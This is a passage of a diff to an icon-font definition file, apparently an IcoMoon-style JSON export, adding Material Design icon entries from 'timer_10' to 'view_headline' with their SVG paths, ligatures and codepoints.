0-27.148-17.025-33.61-38-42-25.468-10.187-69.818-18.182-96-28-16-6-28-14-40-22-22.109-14.739-38-37.152-38-72 0-55.126 40.755-89.585 84-104 18-6 36-8 58-8 81.863 0 150 38.271 150 118h-84c0-24.555-15.687-44.922-36-50-8-2-20-6-30-6zM0 330l202-74h12v512h-86v-410l-128 44v-72z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "timer_10" + ], + "defaultCode": 58403, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "timer_10", + "id": 761, + "order": 772, + "prevSize": 24, + "code": 58403, + "name": "timer_10" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 761 + }, + { + "icon": { + "paths": [ + "M748 446c-31.882 0-62 15.146-62 46 0 27.366 18.619 31.448 40 40 10 4 22 8 36 10 22 4 40 10 58 16s32 16 44 24 20 20 26 32 10 24 10 42c0 61.841-40.186 88.062-88 104-18 6-40 8-62 8-70.791 0-125.226-29.528-146-78-6-14-10-28-10-44h80c0 40.848 37.077 60 78 60 37.394 0 66-11.786 66-46 0-27.148-17.025-33.61-38-42-10-4-26-8-42-12-37.616-7.523-69.901-20.601-96-38-21.057-14.038-36-38.904-36-72 0-55.126 40.755-89.585 84-104 18-6 36-8 58-8 81.863 0 150 38.271 150 118h-84c0-26.038-16.411-44.603-38-50-8-2-18-6-28-6zM430 506c49.449 18.543 84 50.968 84 116 0 51.199-17.71 87.282-48 110-28.071 24.061-68.907 40-120 40-93.754 0-168-50.495-168-144h86c0 23.009 8.297 45.722 22 56 14.704 11.028 35.068 20 60 20 54.151 0 84-28.151 84-82 0-57.252-34.133-82-92-82h-52v-66h50c41.016 0 70.217-16.541 82-46 4-10 4-20 4-32 0-49.775-24.914-76-76-76-37.446 0-59.461 14.922-72 40-4 8-6 18-6 30h-84c0-68.668 45.9-107.96 96-128 20-6 42-10 66-10 97.425 0 160 46.959 160 144 0 56.969-36.756 90.378-76 110z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "timer_3" + ], + "defaultCode": 58404, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "timer_3", + "id": 762, + "order": 773, + "prevSize": 24, + "code": 58404, + "name": "timer_3" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 762 + }, + { + "icon": { + "paths": [ + "M512 854c54 0 106-16 150-42l-408-408c-26 44-40 96-40 150 0 166 132 300 298 300zM128 170l758 758-54 54-108-108c-62 40-134 64-212 64-212 0-384-172-384-384 0-78 24-152 64-212l-118-118zM470 402v-60h84v146zM640 42v86h-256v-86h256zM812 194l60 60-60 62c52 66 84 148 84 238 0 78-24 152-64 212l-62-62c26-44 40-96 40-150 0-166-132-298-298-298-54 0-104 14-148 40l-64-62c60-40 134-64 212-64 90 0 174 32 240 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "timer_off" + ], + "defaultCode": 58406, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "timer_off", + "id": 763, + "order": 774, + "prevSize": 24, + "code": 58406, + "name": "timer_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 763 + }, + { + "icon": { + "paths": [ + "M214 170h596v128h-234v512h-128v-512h-234v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "title" + ], + "defaultCode": 57956, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "title", + "id": 764, + "order": 775, + "prevSize": 24, + "code": 57956, + "name": "title" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 764 + }, + { + "icon": { + "paths": [ + "M810 554v-84h86v84h-86zM810 298h86v86h-86v-86zM810 726v-86h86v86h-86zM128 726v-86h598v86h-598zM128 554v-84h598v84h-598zM128 384v-86h598v86h-598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "toc" + ], + "defaultCode": 59614, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "toc", + "id": 765, + "order": 776, + "prevSize": 24, + "code": 59614, + "name": "toc" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 765 + }, + { + "icon": { + "paths": [ + "M298 426h214v214h-214v-214zM810 810v-468h-596v468h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h42v-86h86v86h340v-86h86v86h42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "today" + ], + "defaultCode": 59615, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "today", + "id": 766, + "order": 777, + "prevSize": 24, + "code": 59615, + "name": "today" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 766 + }, + { + "icon": { + "paths": [ + "M128 512c0 112 70 208 170 242v88c-148-38-256-170-256-330s108-292 256-330v88c-100 34-170 130-170 242zM640 768c142 0 256-114 256-256s-114-256-256-256-256 114-256 256 114 256 256 256zM640 170c188 0 342 154 342 342s-154 342-342 342-342-154-342-342 154-342 342-342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "toll" + ], + "defaultCode": 59616, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "toll", + "id": 767, + "order": 778, + "prevSize": 24, + "code": 59616, + "name": "toll" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 767 + }, + { + "icon": { + "paths": [ + "M842 598c4-14 6-30 8-44h-296v44h288zM778 726c10-14 22-30 30-44h-254v44h224zM554 850c44-6 86-20 124-40h-124v40zM554 426v44h296c-2-14-4-30-8-44h-288zM554 298v44h254c-8-14-20-30-30-44h-224zM554 174v40h124c-38-20-80-34-124-40zM470 850v-676c-168 20-300 164-300 338s132 318 300 338zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tonality" + ], + "defaultCode": 58407, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tonality", + "id": 768, + "order": 779, + "prevSize": 24, + "code": 58407, + "name": "tonality" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 768 + }, + { + "icon": { + "paths": [ + "M804 678c22 10 38 32 38 58v8l-32 226c-4 32-30 54-62 54h-290c-18 0-32-6-44-18l-212-212 34-34c8-8 20-14 34-14 4 0 6 2 10 2l146 30v-458c0-36 28-64 64-64s64 28 64 64v256h34c8 0 14 2 22 4zM384 480c-52-34-86-94-86-160 0-106 86-192 192-192s192 86 192 192c0 66-32 126-84 160v-160c0-58-50-106-108-106s-106 48-106 106v160z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "touch_app" + ], + "defaultCode": 59667, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "touch_app", + "id": 769, + "order": 780, + "prevSize": 24, + "code": 59667, + "name": "touch_app" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 769 + }, + { + "icon": { + "paths": [ + "M512 512c0 128-106 234-234 234s-236-106-236-234h470zM512 512c-128 0-234-106-234-234s106-236 234-236v470zM512 512c128 0 234 106 234 234s-106 236-234 236v-470zM512 512c0-128 106-234 234-234s236 106 236 234h-470z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "toys" + ], + "defaultCode": 58162, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "toys", + "id": 770, + "order": 781, + "prevSize": 24, + "code": 58162, + "name": "toys" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 770 + }, + { + "icon": { + "paths": [ + "M814 210c78 78 124 184 124 302 0 236-190 426-426 426s-426-190-426-426 190-426 426-426h42v352c26 14 44 42 44 74 0 46-40 86-86 86s-86-40-86-86c0-32 18-60 44-74v-90c-74 20-128 84-128 164 0 94 76 170 170 170s170-76 170-170c0-46-20-88-50-120l60-60c46 46 76 110 76 180 0 142-114 256-256 256s-256-114-256-256c0-126 92-232 214-252v-86c-168 20-300 164-300 338 0 188 154 342 342 342s342-154 342-342c0-94-38-180-100-242z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "track_changes" + ], + "defaultCode": 59617, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "track_changes", + "id": 771, + "order": 782, + "prevSize": 24, + "code": 59617, + "name": "track_changes" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 771 + }, + { + "icon": { + "paths": [ + "M512 384c48 0 86-40 86-86 0-48-40-84-86-84-48 0-86 36-86 84 0 46 38 86 86 86zM512 598c48 0 86-40 86-86s-40-86-86-86c-48 0-86 40-86 86s38 86 86 86zM512 810c48 0 86-38 86-84s-40-86-86-86c-48 0-86 40-86 86s38 84 86 84zM854 426c0 80-54 146-128 166v48h128c0 80-54 144-128 164v50c0 24-20 42-44 42h-340c-24 0-44-18-44-42v-50c-74-20-128-84-128-164h128v-48c-74-20-128-86-128-166h128v-48c-74-20-128-84-128-164h128v-44c0-24 20-42 44-42h340c24 0 44 18 44 42v44h128c0 80-54 144-128 164v48h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "traffic" + ], + "defaultCode": 58725, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "traffic", + "id": 772, + "order": 783, + "prevSize": 24, + "code": 58725, + "name": "traffic" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 772 + }, + { + "icon": { + "paths": [ + "M704 726c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM554 426h214v-170h-214v170zM470 426v-170h-214v170h214zM320 726c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM512 86c188 0 342 20 342 170v406c0 82-68 148-150 148l64 64v22h-86l-84-86h-162l-84 86h-96v-22l64-64c-82 0-150-66-150-148v-406c0-150 172-170 342-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "train" + ], + "defaultCode": 58736, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "train", + "id": 773, + "order": 784, + "prevSize": 24, + "code": 58736, + "name": "train2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 773 + }, + { + "icon": { + "paths": [ + "M726 598v-214h-428v214h428zM512 790c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM810 722c0 72-38 132-110 132h4l64 64v20h-86l-84-84h-162l-84 84h-96v-20l68-68c-60-14-110-66-110-128v-360c0-118 120-144 254-148l34-64h-204v-64h428v64h-140l-32 64c146 4 256 28 256 148v360z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tram" + ], + "defaultCode": 58737, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tram", + "id": 774, + "order": 785, + "prevSize": 24, + "code": 58737, + "name": "tram" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 774 + }, + { + "icon": { + "paths": [ + "M246 380l-118 602h90l74-342 92 86v256h86v-322l-88-88 26-128c56 68 138 110 232 110v-84c-78 0-148-44-186-106l-40-68c-14-26-42-40-72-40-10 0-22 2-32 6l-224 92v200h84v-142l76-32zM406 234c-46 0-86-38-86-84s40-86 86-86 84 40 84 86-38 84-84 84zM832 842v-74l106 106-106 108v-76h-234v-64h234zM704 662h234v64h-234v74l-106-106 106-108v76z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "transfer_within_a_station" + ], + "defaultCode": 58738, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "transfer_within_a_station", + "id": 775, + "order": 786, + "prevSize": 24, + "code": 58738, + "name": "transfer_within_a_station" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 775 + }, + { + "icon": { + "paths": [ + "M426 342v-86h256c46 0 86 40 86 86v256h-86v-256h-256zM938 768h-170v86h86l-128 128-128-128h84v-86h-340c-46 0-86-40-86-86v-340h-170v-86h170v-86h-86l128-128 128 128h-84v512h596v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "transform" + ], + "defaultCode": 58408, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "transform", + "id": 776, + "order": 787, + "prevSize": 24, + "code": 58408, + "name": "transform" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 776 + }, + { + "icon": { + "paths": [ + "M678 726h138l-70-186zM790 426l192 512h-86l-48-128h-202l-48 128h-86l192-512h86zM550 642l-34 88-132-132-214 212-60-60 218-214c-54-60-96-124-128-194h86c26 50 58 98 98 142 62-68 108-146 136-228h-478v-86h300v-84h84v84h300v86h-126c-32 100-84 196-158 278l-2 2z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "translate" + ], + "defaultCode": 59618, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "translate", + "id": 777, + "order": 788, + "prevSize": 24, + "code": 59618, + "name": "translate" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 777 + }, + { + "icon": { + "paths": [ + "M682 768l98-98-208-208-170 170-316-316 60-60 256 256 170-170 268 268 98-98v256h-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trending_down" + ], + "defaultCode": 59619, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "trending_down", + "id": 778, + "order": 789, + "prevSize": 24, + "code": 59619, + "name": "trending_down" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 778 + }, + { + "icon": { + "paths": [ + "M938 512l-170 170v-128h-640v-84h640v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trending_flat" + ], + "defaultCode": 59620, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "trending_flat", + "id": 779, + "order": 790, + "prevSize": 24, + "code": 59620, + "name": "trending_flat" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 779 + }, + { + "icon": { + "paths": [ + "M682 256h256v256l-98-98-268 268-170-170-256 256-60-60 316-316 170 170 208-208z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trending_up" + ], + "defaultCode": 59621, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "trending_up", + "id": 780, + "order": 791, + "prevSize": 24, + "code": 59621, + "name": "trending_up" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 780 + }, + { + "icon": { + "paths": [ + "M640 384v-256h86v86h170v84h-170v86h-86zM896 554h-426v-84h426v84zM298 384h86v256h-86v-86h-170v-84h170v-86zM554 896h-84v-256h84v86h342v84h-342v86zM128 214h426v84h-426v-84zM128 726h256v84h-256v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tune" + ], + "defaultCode": 58409, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tune", + "id": 781, + "order": 792, + "prevSize": 24, + "code": 58409, + "name": "tune" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 781 + }, + { + "icon": { + "paths": [ + "M896 726v-512h-768v512h768zM896 128c46 0 86 40 86 86l-2 512c0 46-38 84-84 84h-214v86h-340v-86h-214c-46 0-86-38-86-84v-512c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tv" + ], + "defaultCode": 58163, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tv", + "id": 782, + "order": 793, + "prevSize": 24, + "code": 58163, + "name": "tv2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 782 + }, + { + "icon": { + "paths": [ + "M218 214h588l-40-44h-512zM512 406l-234 234h148v86h172v-86h148zM876 222c12 14 20 36 20 56v532c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-532c0-20 8-42 20-56l58-70c12-14 30-24 50-24h512c20 0 38 10 50 24z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "unarchive" + ], + "defaultCode": 57705, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "unarchive", + "id": 783, + "order": 794, + "prevSize": 24, + "code": 57705, + "name": "unarchive" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 783 + }, + { + "icon": { + "paths": [ + "M534 342c198 0 364 130 424 308l-100 32c-44-136-172-234-324-234-84 0-160 30-220 80l156 154h-384v-384l152 154c78-68 182-110 296-110z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "undo" + ], + "defaultCode": 57702, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "undo", + "id": 784, + "order": 795, + "prevSize": 24, + "code": 57702, + "name": "undo2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 784 + }, + { + "icon": { + "paths": [ + "M708 230l-196 196-196-196 60-60 136 136 136-136zM316 794l196-196 196 196-60 60-136-136-136 136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "unfold_less" + ], + "defaultCode": 58838, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "unfold_less", + "id": 785, + "order": 796, + "prevSize": 24, + "code": 58838, + "name": "unfold_less" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 785 + }, + { + "icon": { + "paths": [ + "M512 776l136-136 60 60-196 196-196-196 60-60zM512 248l-136 136-60-60 196-196 196 196-60 60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "unfold_more" + ], + "defaultCode": 58839, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "unfold_more", + "id": 786, + "order": 797, + "prevSize": 24, + "code": 58839, + "name": "unfold_more" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 786 + }, + { + "icon": { + "paths": [ + "M534 342v180l148 90-30 52-182-110v-212h64zM896 432h-290l118-120c-116-116-306-120-422-4s-116 300 0 416 306 116 422 0c58-58 86-124 86-208h86c0 84-36 194-112 268-150 148-394 148-544 0s-150-388 0-536 390-148 540 0l116-120v304z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "update" + ], + "defaultCode": 59683, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "update", + "id": 787, + "order": 798, + "prevSize": 24, + "code": 59683, + "name": "update" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 787 + }, + { + "icon": { + "paths": [ + "M640 298h170v172h-42v84c0 48-38 86-86 86h-128v130c30 16 52 48 52 84 0 52-42 94-94 94s-94-42-94-94c0-36 22-68 52-84v-130h-128c-48 0-86-38-86-86v-88c-30-16-52-46-52-82 0-52 42-94 94-94s94 42 94 94c0 36-20 66-50 82v88h128v-340h-86l128-172 128 172h-86v340h128v-84h-42v-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "usb" + ], + "defaultCode": 57824, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "usb", + "id": 788, + "order": 799, + "prevSize": 24, + "code": 57824, + "name": "usb2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 788 + }, + { + "icon": { + "paths": [ + "M426 726l342-342-60-60-282 280-110-110-60 60zM512 42l384 172v256c0 236-164 458-384 512-220-54-384-276-384-512v-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "verified_user" + ], + "defaultCode": 59624, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "verified_user", + "id": 789, + "order": 800, + "prevSize": 24, + "code": 59624, + "name": "verified_user" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 789 + }, + { + "icon": { + "paths": [ + "M170 810h684v86h-684v-86zM682 554l-170 172-170-172h128v-426h84v426h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vertical_align_bottom" + ], + "defaultCode": 57944, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "vertical_align_bottom", + "id": 790, + "order": 801, + "prevSize": 24, + "code": 57944, + "name": "vertical_align_bottom" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 790 + }, + { + "icon": { + "paths": [ + "M170 470h684v84h-684v-84zM682 214l-170 170-170-170h128v-172h84v172h128zM342 810l170-170 170 170h-128v172h-84v-172h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vertical_align_center" + ], + "defaultCode": 57945, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "vertical_align_center", + "id": 791, + "order": 802, + "prevSize": 24, + "code": 57945, + "name": "vertical_align_center" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 791 + }, + { + "icon": { + "paths": [ + "M170 128h684v86h-684v-86zM342 470l170-172 170 172h-128v426h-84v-426h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vertical_align_top" + ], + "defaultCode": 57946, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "vertical_align_top", + "id": 792, + "order": 803, + "prevSize": 24, + "code": 57946, + "name": "vertical_align_top" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 792 + }, + { + "icon": { + "paths": [ + "M682 810v-596h-340v596h340zM704 128c36 0 64 28 64 64v640c0 36-28 64-64 64h-384c-36 0-64-28-64-64v-640c0-36 28-64 64-64h384zM810 726v-428h86v428h-86zM938 384h86v256h-86v-256zM128 726v-428h86v428h-86zM0 640v-256h86v256h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vibration" + ], + "defaultCode": 58925, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "vibration", + "id": 793, + "order": 804, + "prevSize": 24, + "code": 58925, + "name": "vibration" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 793 + }, + { + "icon": { + "paths": [ + "M598 554v-84h-128v-128h-86v128h-128v84h128v128h86v-128h128zM726 448l170-170v468l-170-170v150c0 24-20 42-44 42h-512c-24 0-42-18-42-42v-428c0-24 18-42 42-42h512c24 0 44 18 44 42v150z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "video_call" + ], + "defaultCode": 57456, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "video_call", + "id": 794, + "order": 805, + "prevSize": 24, + "code": 57456, + "name": "video_call" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 794 + }, + { + "icon": { + "paths": [ + "M896 682v-468h-768v468h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "video_label" + ], + "defaultCode": 57457, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "video_label", + "id": 795, + "order": 806, + "prevSize": 24, + "code": 57457, + "name": "video_label" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 795 + }, + { + "icon": { + "paths": [ + "M512 618l256-192-256-192v384zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-512c-46 0-86-40-86-86v-512c0-46 40-84 86-84h512zM170 256v598h598v84h-598c-46 0-84-38-84-84v-598h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "video_library" + ], + "defaultCode": 57418, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "video_library", + "id": 796, + "order": 807, + "prevSize": 24, + "code": 57418, + "name": "video_library" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 796 + }, + { + "icon": { + "paths": [ + "M726 448l170-170v468l-170-170v150c0 24-20 42-44 42h-512c-24 0-42-18-42-42v-428c0-24 18-42 42-42h512c24 0 44 18 44 42v150z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "videocam" + ], + "defaultCode": 57419, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "videocam", + "id": 797, + "order": 808, + "prevSize": 24, + "code": 57419, + "name": "videocam" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 797 + }, + { + "icon": { + "paths": [ + "M140 86l756 756-54 54-136-136c-6 4-16 8-24 8h-512c-24 0-42-18-42-42v-428c0-24 18-42 42-42h32l-116-116zM896 278v456l-478-478h264c24 0 44 18 44 42v150z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "videocam_off" + ], + "defaultCode": 57420, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "videocam_off", + "id": 798, + "order": 809, + "prevSize": 24, + "code": 57420, + "name": "videocam_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 798 + }, + { + "icon": { + "paths": [ + "M832 512c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM662 640c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM470 554v-84h-128v-128h-86v128h-128v84h128v128h86v-128h128zM896 256c46 0 86 40 86 86v340c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-340c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "videogame_asset" + ], + "defaultCode": 58168, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "videogame_asset", + "id": 799, + "order": 810, + "prevSize": 24, + "code": 58168, + "name": "videogame_asset" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 799 + }, + { + "icon": { + "paths": [ + "M854 128c24 0 42 18 42 42v256c0 24-18 44-42 44h-726c-24 0-42-20-42-44v-256c0-24 18-42 42-42h726zM854 554c24 0 42 20 42 44v256c0 24-18 42-42 42h-726c-24 0-42-18-42-42v-256c0-24 18-44 42-44h726z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_agenda" + ], + "defaultCode": 59625, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_agenda", + "id": 800, + "order": 811, + "prevSize": 24, + "code": 59625, + "name": "view_agenda" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 800 + }, + { + "icon": { + "paths": [ + "M342 768v-554h384v554h-384zM768 214h128v554h-128v-554zM170 768v-554h128v554h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_array" + ], + "defaultCode": 59626, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_array", + "id": 801, + "order": 812, + "prevSize": 24, + "code": 59626, + "name": "view_array" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 801 + }, + { + "icon": { + "paths": [ + "M768 256h170v470h-170v-470zM86 726v-470h170v470h-170zM298 810v-640h428v640h-428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_carousel" + ], + "defaultCode": 59627, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_carousel", + "id": 802, + "order": 813, + "prevSize": 24, + "code": 59627, + "name": "view_carousel" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 802 + }, + { + "icon": { + "paths": [ + "M682 214h214v554h-214v-554zM170 768v-554h214v554h-214zM426 768v-554h214v554h-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_column" + ], + "defaultCode": 59628, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_column", + "id": 803, + "order": 814, + "prevSize": 24, + "code": 59628, + "name": "view_column" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 803 + }, + { + "icon": { + "paths": [ + "M768 214h170v170h-170v-170zM768 810v-170h170v170h-170zM554 810v-170h172v170h-172zM342 810v-170h170v170h-170zM128 810v-170h170v170h-170zM768 598v-172h170v172h-170zM554 214h172v170h-172v-170zM342 384v-170h170v170h-170zM554 598v-172h172v172h-172zM342 598v-172h170v172h-170zM128 598v-172h170v172h-170zM128 384v-170h170v170h-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_comfy" + ], + "defaultCode": 58410, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_comfy", + "id": 804, + "order": 815, + "prevSize": 24, + "code": 58410, + "name": "view_comfy" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 804 + }, + { + "icon": { + "paths": [ + "M128 214h810v256h-810v-256zM426 810v-298h512v298h-512zM128 810v-298h256v298h-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_compact" + ], + "defaultCode": 58411, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_compact", + "id": 805, + "order": 816, + "prevSize": 24, + "code": 58411, + "name": "view_compact" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 805 + }, + { + "icon": { + "paths": [ + "M86 128h810v128h-810v-128zM854 342c24 0 42 18 42 42v256c0 24-18 42-42 42h-726c-24 0-42-18-42-42v-256c0-24 18-42 42-42h726zM86 896v-128h810v128h-810z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_day" + ], + "defaultCode": 59629, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_day", + "id": 806, + "order": 817, + "prevSize": 24, + "code": 59629, + "name": "view_day" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 806 + }, + { + "icon": { + "paths": [ + "M170 214h684v84h-684v-84zM170 470v-86h684v86h-684zM170 810v-84h684v84h-684zM170 640v-86h684v86h-684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_headline" + ], + "defaultCode": 59630, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_headline", + "id": 807, + "order": 818, + 